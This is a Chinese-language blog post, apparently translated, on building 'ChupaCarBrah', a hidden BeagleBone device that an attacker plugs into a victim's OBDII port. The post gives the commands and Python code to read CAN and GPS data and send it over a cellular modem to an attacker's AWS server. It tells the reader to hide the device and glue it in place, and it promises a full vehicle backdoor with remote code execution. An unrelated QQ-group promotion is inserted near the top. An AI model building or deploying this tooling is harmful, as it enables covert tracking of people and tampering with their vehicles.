使用Python進行汽車黑客攻擊:洩露GPS和OBDII&CAN匯流排資料
本文會介紹一種基於Python用於從OBDII埠傳送和接收CAN訊息的裝置,還可以從行駛中的車輛獲取實時GPS座標。所有的CAN和GPS資料都有可能被洩漏到雲中,因此可以通過Web瀏覽器對汽車進行遠端監控。這篇文章是關於我在使用開源軟體和硬體(python-can / Flask和BeagleBone®Blue)進行汽車黑客攻擊方面的經驗。
很多人學習python,不知道從何學起。
很多人學習python,掌握了基本語法過後,不知道在哪裡尋找案例上手。
很多已經做案例的人,卻不知道如何去學習更加高深的知識。
那麼針對這三類人,我給大家提供一個好的學習平臺,免費領取視訊教程,電子書籍,以及課程的原始碼!
QQ群:101677771
https://beagleboard.org/blue
ChupaCarBrah間諜裝置
我建立了一個單獨的分步教程,介紹如何構建本文將使用的間諜裝置aka ChupaCarBrah。我還共享了在裝置上執行的python-can客戶端的所有程式碼;以及在AWS上執行的伺服器端Flask應用程式。間諜裝置的第一個版本能夠跟蹤車輛位置並監視CAN資料(例如,發動機RPM,空氣溫度,VIN等)。所有資料都通過新增到Beaglebone的蜂窩LTE調變解調器進行過濾,JSON格式用於將資料傳送到AWS上的Flask應用程式。隨著車輛的行駛,雲中的JSON資料會實時更新,從而使你可以完全遠端監控車輛,就可以在家中對汽車進行攻擊了。
https://youtu.be/7DfXmD9MddE
ChupaCarBrah上路了
作為本文的後續,我計劃再發布兩篇文章以擴充套件當前的ChupaCarBrah功能:
第2部分— ECU CAN訊息:將顯示如何篡改直接連線到ECU的CAN匯流排(因為OBDII通常僅提供診斷資料)。我將集中精力對CAN訊息進行逆向,以將精心製作的命令傳送到ECU。出於安全原因,我計劃僅分析無危害的命令,例如開鎖門,開啟電動窗等;
第3部分-車輛RCE:我打算擴充套件ChupaCarBrah應用程式,以更加使用者友好的格式顯示正在執行中被竊取的所有資料,例如在地圖上繪製的GPS資料。具有實時資料的GUI還將顯示來自已解碼CAN訊息的當前車輛資訊(速度,RPM等)。我還計劃通過POST端點擴充套件AWS服務,這將允許通過蜂窩網路建立反向HTTP會話,從而將CAN命令提交給車輛。
0x01 威脅建模
通常,汽車製造商採用的威脅模型是通過在CAN匯流排和外部網路之間建立隔離來減少車輛的攻擊面。分隔可以是物理的(空氣間隙)或邏輯的(CAN閘道器/防火牆)。當確實需要連線CAN和外部網路(例如V2V或IVI)時,閘道器通過僅沿一種方式轉發CAN訊息來提供邏輯隔離。
用ChupaCarBrah建模
採用該威脅模型的安全級別將直接取決於,對CAN匯流排進行物理訪問的難度和利用外部連線上的漏洞進入CAN匯流排的難度。本文的目的是破解它,並以實用的方式展示攻擊者可以物理訪問車輛並安裝ChupaCarbrah時可以採取的措施。間諜裝置在隔離的CAN匯流排和網際網路之間建立了橋樑,破壞了製造商的威脅模型。
但是,要使用ChupaCarBrah進行完整的測試,你仍然需要將我在此處顯示的內容與其他攻擊技術(例如按鍵欺騙)結合起來,才能進入車輛內部。因此,我認為本文暴露的安全風險較低。但是我仍然想讓製造商意識到製造商考慮CAN訊息加密解決方案的重要性,並提醒車主注意無法完全控制車輛的物理通道的情況(例如,代客泊車,洗車,忘記鎖門等)。
https://youtu.be/bo04J5m1si0
ChupaCarBrah安裝:不到60秒
一旦進入車內,攻擊者就可以快速將ChupaCarBrah連線到OBDII埠,該裝置足夠小,可以隱藏在儀表板中。所使用的OBDII分離器電纜將在車輛原始聯結器的前面提供一個額外的OBDII母聯結器。如果攻擊者非常狡猾,則可以使用膠水將分離器永久固定在OBDII埠上。這將使受害者最終可以將其他OBDII裝置連線到車輛,而不必希望注意到紅色的ChupaCarBrah裝置。
0x02 汽車黑客概述
有研究者已經很好地分析了使用CAN(控制器區域網)進行汽車黑客攻擊。如果你想更好地瞭解汽車供應商如何使用CAN匯流排來控制你的引擎和其他車輛部件,我建議你看一下Craig Smith的《 THE CAR HACKER'S HANDBOOK》。
我也推薦這篇非常好的文章:Jared Reabow的《如何使用CAN匯流排破解和升級你的汽車》。它專門針對CAN,並提供了非常有用的提示,例如如何猜測波特率以及如何查詢和接入車輛中的CAN匯流排。
本文結合了兩位作者提出的黑客技術。然後,我通過構建一個簡單的BeagleBone間諜裝置進一步分析,該裝置可通過蜂窩網路與移動中的汽車進行遠端互動,同時通過GPS跟蹤車輛的位置。
0x03 為什麼選擇BeagleBone Blue?
長話短說:BeagleBone Blue已經支援CAN,包括CAN收發器。
BeagleBone Blue嵌入式CAN收發器
這意味著,你的電路板不需要額外的hat。基本上,你可以使用兩條連線線並將BeagleBone的CAN Hi和CAN Lo引腳分別直接連線到汽車OBDII聯結器上的6和14引腳。不僅如此,BeagleBone是一臺完整的單板計算機,其最新映像已經預裝了SocketCan。
它還具有嵌入式WiFi網絡卡,可讓你使用CAN工具,而無需將計算機物理連線到汽車上。它將使你可以將裝置“嵌入”到汽車中,並使其完全脫離計算機執行。
對於長距離連線,可以使用USB LTE調變解調器(將在下一部分中介紹)。
因此,BeagleBone Blue板是汽車黑客的一個很好的選擇,特別是當其他流行的工具(例如CANtact)在幾乎所有美國分銷商處都售罄時。如果不想使用開源,可以嘗試使用諸如Macchina.cc之類的商業產品(我自己還沒有嘗試過,但是由於它也是基於BeagleBoard的,因此我相信這裡介紹的大部分內容仍然適用) 。
0x04 編譯ChupaCarBrah
你所需的最少零件是BeagleBone Blue,JST / SH聯結器和連線線,它們應按如下所示連線:
BeagleBone Blue JST / SH聯結器,具有連線到CAN插槽的連線線
確保連線線足夠長,以便可以將其正確連線到汽車的OBDII聯結器。請記住,如果電線太長,則可能需要扭曲黃色和綠色(CAN Hi和Lo)以接近標準CAN電纜的效能。當然,你始終可以使用真實的CAN電纜代替連線線。
BeagleBone Blue已連線到OBDII
這將允許你啟動BeagleBone,啟動套接字CAN介面以傳送和接收CAN訊息。這就是開始入侵CAN所需的一切,但是,通過新增一些其他部件,你可以大大提高BeagleBone的能力,以建立完整的ChupaCarBrah間諜裝置。我將所有分步說明放在單獨的文章中來構建你的ChupaCarbrah,這樣我就可以保持本文的簡潔性,並專注於Python的黑客攻擊。
請參閱ChupaCarBrah-Hackster.io上的BeagleBone和Python進行汽車黑客活動,以獲取有關如何建立支援GPS和蜂窩網路的完整間諜裝置的完整詳細資訊。
0x05 傳送和接收CAN訊息
將BeagleBone連線到OBDII後,按電源按鈕啟動它,然後通過SSH連線到它。我建議儘可能使用WiFi。WIFI傳輸資訊更快,你將在蜂窩資料計劃上節省一些錢。你將需要開啟點火開關,以便汽車的CAN裝置也能“啟動”。你可能需要啟動引擎,以免損壞汽車的電池。
在使用Python程式碼之前,請嘗試使用socketCAN手動傳送和接收一些訊息。首先,為can0(可以為零)介面設定波特率並啟用它。
sudo ip link set can0 up type can bitrate 500000
sudo ifconfig can0 up
大多數汽車在OBDII總線上使用500kpbs,使用candump收聽can0介面上的訊息
sudo candump can0
根據你的車輛,你可能已經在總線上看到CAN訊息。如果你的公交車很安靜,請開啟一個新終端,然後使用cansend傳送一些訊息:
sudo cansend can0 7DF#0209020000000000
你應該在執行candump的終端上看到該訊息及其響應。如果沒有,你可能需要檢查接線和/或車輛使用的波特率。你剛剛傳送的CAN訊息將要求車輛的VIN號,並且響應應該類似於以下截圖。
用於獲取車輛VIN的CAN訊息
VIN編號資料顯示在最後3位“ 32 43 34”中,可以將其從十六進位制解碼為ASCII編碼為“ 2C4”:
echo “32 43 34” | xxd -r -p
VIN資料格式如下:
VIN資料格式
如果將ASCII VIN提供給此線上NHTSA工具,則可以解析你的車輛WMI(世界製造商識別符號)並檢查其準確性。以我為例,“ 2C4”表示我的車是加拿大製造的道奇車。
既然你已經確認可以使用socketCAN向汽車傳送和接收來自汽車的CAN訊息,則可以使用Python進行程式設計:
import can
bus = can.interface.Bus(bustype='socketcan', channel='can0', bitrate=500000)
service_int = int("9", 16)
pid_int = int("2", 16)
msg = can.Message(arbitration_id=0x7DF, data=[2, service_int, pid_int, 0, 0, 0, 0, 0], is_extended_id=False)
try:
bus.send(msg)
response = bus.recv(timeout=2)
print(response)
except can.CanError:
print("CAN error")
finally:
bus.shutdown()
如果要嘗試其他命令,請參考此表,並提供可用的可用OBDII PID列表。確保在Python指令碼中為變數“ service_int”分配“模式(十六進位制)”的整數值,併為變數“ pid_int”分配“ PID(十六進位制)”變數的整數值。
例如,如果要讀取引擎RPM,請使用以下命令更改指令碼的第5行和第6行:
service_int = int(“1”, 16)
pid_int = int(“0C”, 16)
你可以在此處找到有關OBDII PID的更多文件。
0x06 GPS座標
要獲取GPS資料,只需從ChupaCarBrah裝置執行“ tio”命令。
tio / dev / ttyO2 -b 4800
它會顯示很多GPS NMEA資訊,但是我們只是為了獲取地理位置,你只會對GPRMC 資訊感興趣。
來自ChupaCarBrah的GPS資料
你可以通過複製GPRMC 資訊(如地理位置解碼$ GPRMC,170454.000,A,3500.87097,N,10641.14163,W,0.00,171.40,100520 ,,, A * 79),這個線上GPRMC工具,它將繪製你的在地圖上的確切位置。
GPS GPRMC地理位置在地圖上繪製。
你可以使用以下Python指令碼檢索GPS地理位置GPRMC資料:
import time
import serial
gps_data = ""
utf_data = ""
ser = serial.Serial('/dev/ttyO2', 4800)
counter = 0
while utf_data.find("GPRMC") == -1:
counter += 1
try:
ser_data = ser.readline()
utf_data = ser_data.decode()
except:
utf_data = ""
time.sleep(0.5)
if counter > 50:
break
ser.close()
if utf_data.find("GPRMC") != -1:
utf_data = utf_data.replace('\r', '')
utf_data = utf_data.replace('\n', '')
gps_data = utf_data
print(gps_data)
Python程式碼可檢索GPS地理位置座標。
0x07 連線到蜂窩網路
我將全息圖資料計劃與Nova HOL-NOVA-R410蜂窩調變解調器一起使用,但是與BeagleBone相容的任何其他運營商或蜂窩調變解調器都可以正常工作,只要你能夠使用蜂窩資料連線到Internet就行。
Hologram的優點是,它們提供了Python SDK。使用資料計劃啟用SIM卡並安裝SDK之後,即可使用此Python指令碼。它允許你通過手機以程式設計方式連線到Internet,並ping Google以檢查連線性。
import psutil
import time
import subprocess
from Hologram.CustomCloud import CustomCloud
def hologram_network_connect():
hologram_network_disconnect()
time.sleep(2)
cloud = CustomCloud(None, network='cellular')
cloud.network.disable_at_sockets_mode()
res = cloud.network.connect()
message = ""
if res:
message = "PPP session started"
else:
message = "Failed to start PPP"
print(message)
def hologram_network_disconnect():
print('Checking for existing PPP sessions')
for proc in psutil.process_iter():
try:
pinfo = proc.as_dict(attrs=['pid', 'name'])
except:
print("Failed to check for existing PPP sessions")
if 'pppd' in pinfo['name']:
print('Found existing PPP session on pid: %s' % pinfo['pid'])
print('Killing pid %s now' % pinfo['pid'])
process = psutil.Process(pinfo['pid'])
process.terminate()
process.wait()
hologram_network_connect()
time.sleep(2)
ping_response = subprocess.Popen(["/bin/ping", "-c1", "-w100", "www.google.com"], stdout=subprocess.PIPE).stdout.read()
print(ping_response.decode())
time.sleep(2)
hologram_network_disconnect()
Python程式碼將Hologram蜂窩模式連線到Internet。
請參閱Hackster.io上的ChupaCarBrah教程,以獲取有關如何安裝全息圖調變解調器及其SDK的完整詳細資訊。
0x08 提取資料
首先,你將需要伺服器將資料傳送到。使用Github上可用的Pythonchupacarbrah_server.py程式碼,並將其作為服務部署在AWS上。
下面是執行的命令:
~$ git clone https://github.com/blupants/chupacarbrah_server.git
~$ cd chupacarbrah_server
~$ cp chupacarbrah_server.py application.py
~$ source virt/bin/activate
(virt) ~$ pip install flask==1.0.2
(virt) ~$ pip freeze > requirements.txt
(virt) ~$ deactivate
~$ python3 -m pip install awscli
~$ python3 -m pip install awsebcli
~$ eb init -p python-3.6 flask-chupacarbrah — region us-east-2
~$ $ eb init
Do you want to set up SSH for your instances? (y/n): ySelect a keypair. 1) my-keypair 2) [ Create new KeyPair ]
~$ eb create chupacarbrah-env
~$ eb open
如果你需要進一步的詳細說明,請再次參考Hackster.io上的ChupaCarBrah教程。
服務執行後,記下URL,以便你可以將指令碼指向BeagleBone,以在那裡傳送資料。你可以通過curl釋出一些虛擬資料來確認服務已啟動並正在執行:
SERVER_URL= curl — header “Content-Type: application/json” \
— request POST \
— data ‘{“car_uuid”:”51f317ec266e4adb956212201f87ba52", “VIN”: “2C4”, “maker”: “Generic”, “log”:{“timestamp”:”20200501120000",”GPS”:”00"}}’ \
“$SERVER_URL/api/v1/cars”
curl “$SERVER_URL/api/v1/status”
在AWS上從ChupaCarBrah服務釋出和獲取虛擬資料
確認AWS服務正常執行後,用SSH到BeagleBone並從Github克隆chupacarbrah。編輯chupacarbrah.py指令碼,並使用上一步中的AWS服務URL 設定server_url變數。
git clone cd chupacarbrah
sudo python3 chupacarbrah.py
執行後,ChupaCarBrah客戶端將使用simple.csv上啟用的所有CAN命令,並將它們傳送到CAN匯流排。響應將顯示在標準輸出上,併發送到/ tmp / chupacarbrah / log檔案。每隔1分鐘,它還會作為JSON傳送到AWS服務。
要停止它,請開啟一個新終端(ssh會話)並執行:
sudo touch /tmp/stop
為了啟用/禁用更多OBDII PID命令,你可以通過在“啟用”列上將要啟用的所有命令設定為1,將要禁用的命令設定為0,來編輯檔案obd2_std_PIDs_enabled.csv。在啟用其他命令之前,請確保你瞭解這些命令的功能,並知道自己在做什麼。你剛剛克隆到BeagleBone的chupacarbrah github儲存庫上都提供了simple.csv和obd2_std_PIDs_enabled.csv檔案。
開啟網路瀏覽器,並監視每分鐘更新的JSON資料以及車輛的所有洩漏資訊。
來自AWS上ChupaCarBrah服務的樣本JSON虛擬資料
你可能需要重新整理瀏覽器上的頁面以更新顯示的資料。由於它使用JSON格式,因此非常便於建立前端來使用它和/或將其與其他應用程式整合。
至此,本系列的第一部分已經完成,一共是3篇文章。請繼續關注下一部分,我將介紹ECU CAN訊息併為ChupaCarBrah新增更多功能。最終目標是在車輛中建立一個完整的後門,並支援遠端程式碼執行。